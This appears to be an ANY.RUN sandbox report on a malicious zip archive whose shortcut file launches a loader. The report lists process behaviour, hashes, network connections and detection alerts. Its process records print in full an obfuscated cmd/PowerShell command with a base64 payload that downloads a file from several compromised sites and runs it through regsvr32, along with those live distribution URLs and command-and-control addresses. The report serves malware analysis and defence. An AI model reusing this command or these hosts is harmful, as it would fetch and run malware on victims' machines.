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File name:

2022-05-19_0822.zip

Full analysis: https://app.any.run/tasks/78331ab5-ecf5-49b3-9128-c7c4ca5839b3
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 21, 2022, 04:35:54
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

51104E616C6994594E609AA9885EDBEC

SHA1:

A83F1AA96164CB4522E3D1B7E806C8CD42FC4DEE

SHA256:

22C722F690CEC768D358D439C789D2CF42780F46A02892FF602999C83E020554

SSDEEP:

24:mHOMdwwRIu+g+LDOoU3efJDPRtPQakemstzS346R8EEwq/4490fb0nYOqVE0yo34:yOxM+96oUOfbavwzSIlO641KR0tvc6b+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Registers / Runs the DLL via REGSVR32.EXE

      • powershell.exe (PID: 3028)

    • Executes PowerShell scripts

      • cmd.exe (PID: 1000)

    • Connects to CnC server

      • powershell.exe (PID: 3028)

    • Drops executable file immediately after starts

      • powershell.exe (PID: 3028)

  • SUSPICIOUS

    • Reads the computer name

      • WinRAR.exe (PID: 2040)
      • powershell.exe (PID: 3028)

    • Checks supported languages

      • cmd.exe (PID: 1000)
      • WinRAR.exe (PID: 2040)
      • powershell.exe (PID: 3028)

    • Reads Environment values

      • powershell.exe (PID: 3028)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3028)

    • Reads Microsoft Outlook installation path

      • powershell.exe (PID: 3028)

    • Reads internet explorer settings

      • powershell.exe (PID: 3028)

    • Drops a file with a compile date too recent

      • powershell.exe (PID: 3028)

  • INFO

    • Manual execution by user

      • cmd.exe (PID: 1000)

    • Checks Windows Trust Settings

      • powershell.exe (PID: 3028)

    • Checks supported languages

      • regsvr32.exe (PID: 3224)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: 2022-05-19_0822.lnk
ZipUncompressedSize: 2630
ZipCompressedSize: 1300
ZipCRC: 0xf80baeb8
ZipModifyDate: 2022:05:19 02:22:01
ZipCompression: Deflated
ZipBitFlag: 0x0009
ZipRequiredVersion: 788
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs cmd.exe no specs powershell.exe regsvr32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2040"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\2022-05-19_0822.zip"C:\Program Files\WinRAR\WinRAR.exe—Explorer.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
1000"C:\Windows\system32\cmd.exe" /v:on /c fUAIeiMQD+laW5UTQFyCZ7TP4Pj0W6EGkOZk49jyLYVCNOKaLo55qfIzUV2VSN3TrMvVHNug||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$c=[System.Text.Encoding]::ASCII;$nP='ICAgICAgICBXcml0ZS1I';$niMlNR='b3N0ICJJYWpDSSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9wYXBpbGxvbndlYi5mci93cC1jb250ZW50L2FwLyIsImh0dHA6Ly93d3cub2xzYXYuc2svY2dpLWJpbi82S2ZTTzF6eGxsS0RzLyIsImh0dHA6Ly9ueWNvbS5uYXJhc29mdC5jb20vbW92aWVfbGluay9vc3c1NGNHa1RacjAvIiwiaHR0cDovL3RpZW12YW5nbmdvY3RoYW0uY29tL3dwLWNvbnRlbnQvamtOUUttbU1sWmkvIiwiaHR0cDovL3BpY3NtYWtlci5jb20vY2dpLWJpbi9qV2RVc0hJc29ELyIsImh0dHA6Ly93d3cubm9tYXRlbmFsbW9uby5vcmcvanVhcmV6L0JMd2tsckpYUnJ5WnJTNi8iKTskdD0iYkx0ZmhtIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXG5EU3RLSFFybW4uWlN1O1JlZ3N2cjMyLmV4ZSAiJGRcbkRTdEtIUXJtbi5aU3UiO2JyZWFrfSBjYXRjaCB7IH19';$jWW=[System.Convert]::FromBase64String($nP+$niMlNR);$Vycg=$c.GetString($jWW); iex ($Vycg)}"C:\Windows\system32\cmd.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3028powershell.exe -c "&{$c=[System.Text.Encoding]::ASCII;$nP='ICAgICAgICBXcml0ZS1I';$niMlNR='b3N0ICJJYWpDSSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9wYXBpbGxvbndlYi5mci93cC1jb250ZW50L2FwLyIsImh0dHA6Ly93d3cub2xzYXYuc2svY2dpLWJpbi82S2ZTTzF6eGxsS0RzLyIsImh0dHA6Ly9ueWNvbS5uYXJhc29mdC5jb20vbW92aWVfbGluay9vc3c1NGNHa1RacjAvIiwiaHR0cDovL3RpZW12YW5nbmdvY3RoYW0uY29tL3dwLWNvbnRlbnQvamtOUUttbU1sWmkvIiwiaHR0cDovL3BpY3NtYWtlci5jb20vY2dpLWJpbi9qV2RVc0hJc29ELyIsImh0dHA6Ly93d3cubm9tYXRlbmFsbW9uby5vcmcvanVhcmV6L0JMd2tsckpYUnJ5WnJTNi8iKTskdD0iYkx0ZmhtIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXG5EU3RLSFFybW4uWlN1O1JlZ3N2cjMyLmV4ZSAiJGRcbkRTdEtIUXJtbi5aU3UiO2JyZWFrfSBjYXRjaCB7IH19';$jWW=[System.Convert]::FromBase64String($nP+$niMlNR);$Vycg=$c.GetString($jWW); iex ($Vycg)}"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
3224"C:\Windows\system32\regsvr32.exe" C:\Users\admin\AppData\Local\Temp\..\bLtfhm\nDStKHQrmn.ZSuC:\Windows\system32\regsvr32.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
3
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 921
Read events
1 874
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
3028powershell.exeC:\Users\admin\AppData\Local\bLtfhm\nDStKHQrmn.ZSuexecutable
MD5:AE58BA7B5C5BA97EAEAF54228F2AF7B1
SHA256:82A44F52D8EA1F85B441D1F9D8A49EC38C6B2DA860FBADC42CE429996FA54898
2040WinRAR.exeC:\Users\admin\Desktop\2022-05-19_0822.lnklnk
MD5:DC10B17EB5C29CB5D9B210A60F17F1F6
SHA256:CF87586FF832DBB8EB4B7350E24BF6E05FF7804E1C73E00FBA3F181B25416DBD
3028powershell.exeC:\Users\admin\AppData\Local\Temp\3jldiq23.ms0.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3028powershell.exeC:\Users\admin\AppData\Local\Temp\ps2dv3xj.scj.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3028powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3028
powershell.exe
GET
200
211.172.241.52:80
http://nycom.narasoft.com/movie_link/osw54cGkTZr0/
KR
executable
356 Kb
suspicious
3028
powershell.exe
GET
404
91.223.69.10:80
http://www.olsav.sk/cgi-bin/6KfSO1zxllKDs/
SK
html
1.21 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3028
powershell.exe
211.172.241.52:80
nycom.narasoft.com
LG DACOM Corporation
KR
suspicious
3028
powershell.exe
163.172.100.17:443
papillonweb.fr
Online S.a.s.
FR
unknown
3028
powershell.exe
91.223.69.10:80
www.olsav.sk
Jaroslav Masaryk
SK
suspicious

DNS requests

Domain
IP
Reputation
papillonweb.fr
  • 163.172.100.17
unknown
www.olsav.sk
  • 91.223.69.10
unknown
nycom.narasoft.com
  • 211.172.241.52
suspicious

Threats

PID
Process
Class
Message
3028
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
3028
powershell.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 14
3028
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
3028
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3028
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
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Reports
2022-05-19_0822.zip